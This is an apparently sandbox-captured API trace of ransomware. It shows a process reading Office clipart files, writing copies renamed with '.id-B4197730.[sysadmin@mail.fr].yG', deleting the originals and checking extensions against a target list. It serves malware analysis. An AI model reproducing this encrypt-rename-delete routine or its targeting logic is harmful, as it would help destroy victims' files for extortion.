	[0052.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0052.785] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=7372) returned 1
	[0052.785] CloseHandle (hObject=0x2e0) returned 1
	[0052.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 0x220
	[0052.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0052.786] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.786] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0052.786] GetLastError () returned 0x0
	[0052.786] ReadFile (in: hFile=0x2e0, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x1ccc, lpOverlapped=0x0) returned 1
	[0052.821] WriteFile (in: hFile=0x394, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1cd0, lpOverlapped=0x0) returned 1
	[0052.822] ReadFile (in: hFile=0x2e0, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.822] WriteFile (in: hFile=0x394, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.822] SetEndOfFile (hFile=0x394) returned 1
	[0052.822] CloseHandle (hObject=0x394) returned 1
	[0052.823] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.823] SetEndOfFile (hFile=0x2e0) returned 1
	[0052.824] CloseHandle (hObject=0x2e0) returned 1
	[0052.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.824] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 1
	[0052.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0052.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0052.825] lstrlenW (lpString=".doc") returned 4
	[0052.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.825] lstrlenW (lpString=".docx") returned 5
	[0052.825] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.825] lstrlenW (lpString=".pdf") returned 4
	[0052.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.825] lstrlenW (lpString=".xls") returned 4
	[0052.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.825] lstrlenW (lpString=".xlsx") returned 5
	[0052.825] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.825] lstrlenW (lpString=".ppt") returned 4
	[0052.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0052.825] lstrlenW (lpString=".zip") returned 4
	[0052.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.825] lstrlenW (lpString=".rar") returned 4
	[0052.825] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.825] lstrlenW (lpString=".bz2") returned 4
	[0052.825] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.825] lstrlenW (lpString=".7z") returned 3
	[0052.825] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0052.825] lstrlenW (lpString=".dbf") returned 4
	[0052.825] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0052.825] lstrlenW (lpString=".1cd") returned 4
	[0052.825] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0052.825] lstrlenW (lpString=".jpg") returned 4
	[0052.825] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0052.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0052.826] lstrlenW (lpString=".doc") returned 4
	[0052.826] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.826] lstrlenW (lpString=".docx") returned 5
	[0052.826] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.826] lstrlenW (lpString=".pdf") returned 4
	[0052.826] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.826] lstrlenW (lpString=".xls") returned 4
	[0052.826] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.826] lstrlenW (lpString=".xlsx") returned 5
	[0052.826] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.826] lstrlenW (lpString=".ppt") returned 4
	[0052.826] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0052.826] lstrlenW (lpString=".zip") returned 4
	[0052.826] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.826] lstrlenW (lpString=".rar") returned 4
	[0052.826] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.826] lstrlenW (lpString=".bz2") returned 4
	[0052.826] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.826] lstrlenW (lpString=".7z") returned 3
	[0052.826] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0052.826] lstrlenW (lpString=".dbf") returned 4
	[0052.826] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0052.826] lstrlenW (lpString=".1cd") returned 4
	[0052.826] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0052.826] lstrlenW (lpString=".jpg") returned 4
	[0052.826] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.826] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0052.826] lstrlenW (lpString="AN02122_.WMF") returned 12
	[0052.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0052.832] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=7540) returned 1
	[0052.832] CloseHandle (hObject=0x348) returned 1
	[0052.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 0x220
	[0052.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0052.833] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.833] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0052.834] GetLastError () returned 0x0
	[0052.834] ReadFile (in: hFile=0x348, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x1d74, lpOverlapped=0x0) returned 1
	[0053.036] WriteFile (in: hFile=0x2ec, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1d80, lpOverlapped=0x0) returned 1
	[0053.037] ReadFile (in: hFile=0x348, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.037] WriteFile (in: hFile=0x2ec, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.037] SetEndOfFile (hFile=0x2ec) returned 1
	[0053.037] CloseHandle (hObject=0x2ec) returned 1
	[0053.038] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.038] SetEndOfFile (hFile=0x348) returned 1
	[0053.038] CloseHandle (hObject=0x348) returned 1
	[0053.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.039] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 1
	[0053.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0053.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0053.039] lstrlenW (lpString=".doc") returned 4
	[0053.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.039] lstrlenW (lpString=".docx") returned 5
	[0053.039] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.039] lstrlenW (lpString=".pdf") returned 4
	[0053.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.039] lstrlenW (lpString=".xls") returned 4
	[0053.039] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.039] lstrlenW (lpString=".xlsx") returned 5
	[0053.039] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.039] lstrlenW (lpString=".ppt") returned 4
	[0053.039] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0053.039] lstrlenW (lpString=".zip") returned 4
	[0053.039] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.039] lstrlenW (lpString=".rar") returned 4
	[0053.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.039] lstrlenW (lpString=".bz2") returned 4
	[0053.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.039] lstrlenW (lpString=".7z") returned 3
	[0053.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0053.040] lstrlenW (lpString=".dbf") returned 4
	[0053.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0053.040] lstrlenW (lpString=".1cd") returned 4
	[0053.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0053.040] lstrlenW (lpString=".jpg") returned 4
	[0053.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0053.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0053.040] lstrlenW (lpString=".doc") returned 4
	[0053.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.040] lstrlenW (lpString=".docx") returned 5
	[0053.040] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.040] lstrlenW (lpString=".pdf") returned 4
	[0053.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.040] lstrlenW (lpString=".xls") returned 4
	[0053.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.040] lstrlenW (lpString=".xlsx") returned 5
	[0053.040] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.040] lstrlenW (lpString=".ppt") returned 4
	[0053.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0053.040] lstrlenW (lpString=".zip") returned 4
	[0053.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.040] lstrlenW (lpString=".rar") returned 4
	[0053.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.040] lstrlenW (lpString=".bz2") returned 4
	[0053.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.040] lstrlenW (lpString=".7z") returned 3
	[0053.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0053.040] lstrlenW (lpString=".dbf") returned 4
	[0053.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0053.040] lstrlenW (lpString=".1cd") returned 4
	[0053.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0053.041] lstrlenW (lpString=".jpg") returned 4
	[0053.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.044] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0053.044] lstrlenW (lpString="AN04134_.WMF") returned 12
	[0053.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0053.044] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=3416) returned 1
	[0053.044] CloseHandle (hObject=0x348) returned 1
	[0053.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 0x220
	[0053.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0053.045] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.045] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0053.045] GetLastError () returned 0x0
	[0053.045] ReadFile (in: hFile=0x348, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0xd58, lpOverlapped=0x0) returned 1
	[0053.062] WriteFile (in: hFile=0x2ec, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xd60, lpOverlapped=0x0) returned 1
	[0053.063] ReadFile (in: hFile=0x348, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.063] WriteFile (in: hFile=0x2ec, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.063] SetEndOfFile (hFile=0x2ec) returned 1
	[0053.063] CloseHandle (hObject=0x2ec) returned 1
	[0053.064] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.064] SetEndOfFile (hFile=0x348) returned 1
	[0053.065] CloseHandle (hObject=0x348) returned 1
	[0053.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 1
	[0053.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0053.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0053.065] lstrlenW (lpString=".doc") returned 4
	[0053.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.065] lstrlenW (lpString=".docx") returned 5
	[0053.065] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.065] lstrlenW (lpString=".pdf") returned 4
	[0053.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.065] lstrlenW (lpString=".xls") returned 4
	[0053.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.066] lstrlenW (lpString=".xlsx") returned 5
	[0053.066] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.066] lstrlenW (lpString=".ppt") returned 4
	[0053.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0053.066] lstrlenW (lpString=".zip") returned 4
	[0053.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.066] lstrlenW (lpString=".rar") returned 4
	[0053.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.066] lstrlenW (lpString=".bz2") returned 4
	[0053.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.066] lstrlenW (lpString=".7z") returned 3
	[0053.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0053.066] lstrlenW (lpString=".dbf") returned 4
	[0053.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0053.066] lstrlenW (lpString=".1cd") returned 4
	[0053.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0053.066] lstrlenW (lpString=".jpg") returned 4
	[0053.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0053.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0053.066] lstrlenW (lpString=".doc") returned 4
	[0053.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.066] lstrlenW (lpString=".docx") returned 5
	[0053.066] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.066] lstrlenW (lpString=".pdf") returned 4
	[0053.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.066] lstrlenW (lpString=".xls") returned 4
	[0053.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.066] lstrlenW (lpString=".xlsx") returned 5
	[0053.066] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.066] lstrlenW (lpString=".ppt") returned 4
	[0053.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0053.066] lstrlenW (lpString=".zip") returned 4
	[0053.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.067] lstrlenW (lpString=".rar") returned 4
	[0053.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.067] lstrlenW (lpString=".bz2") returned 4
	[0053.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.067] lstrlenW (lpString=".7z") returned 3
	[0053.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0053.067] lstrlenW (lpString=".dbf") returned 4
	[0053.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0053.067] lstrlenW (lpString=".1cd") returned 4
	[0053.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0053.067] lstrlenW (lpString=".jpg") returned 4
